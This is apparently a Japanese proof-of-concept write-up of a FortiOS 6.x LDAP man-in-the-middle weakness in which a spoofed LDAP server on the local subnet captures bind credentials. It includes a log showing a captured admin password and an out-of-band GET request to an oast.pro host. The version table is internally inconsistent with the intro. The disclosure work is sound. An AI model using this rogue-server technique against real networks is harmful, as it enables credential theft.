
FortiOS v6.0.x から v6.2.0 のデフォルトの LDAP 設定は、LDAP/S のサーバー ID を確認しないため、MITM 攻撃につながります。この PoC は、簡単に偽装できる LDAP サーバーに対してローカルサブネット上で送信された資格情報の完全な流出を実演します。
このProof of Concept(PoC)は、MITM(Man-In-The-Middle)攻撃を示しています:脆弱なバージョンのFortiOSを実行しているFortiGateデバイスのローカルサブネット上でLDAPサーバーになりすますものです。
以下のバージョンが脆弱です:
| バージョン | 影響 | 解決策 |
|---|---|---|
| FortiOS 7.0 | 影響なし | 該当なし |
| FortiOS 6.0 | 6.0.3 ~ 6.2.0 | 6.2.1以上にアップグレード |
PoCでは、VMware Fusion上で動作するFortiOS 6.2.0を使用しました。
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
FortiOS v6.0.xからv6.2.0におけるLDAPのデフォルト設定は、LDAP/SのサーバーIDをチェックしないため、MITM攻撃を引き起こす可能性があります。このPoCは、簡単になりすまされるLDAPサーバーに対してローカルサブネット上で送信された認証情報の完全な流出を実演しています。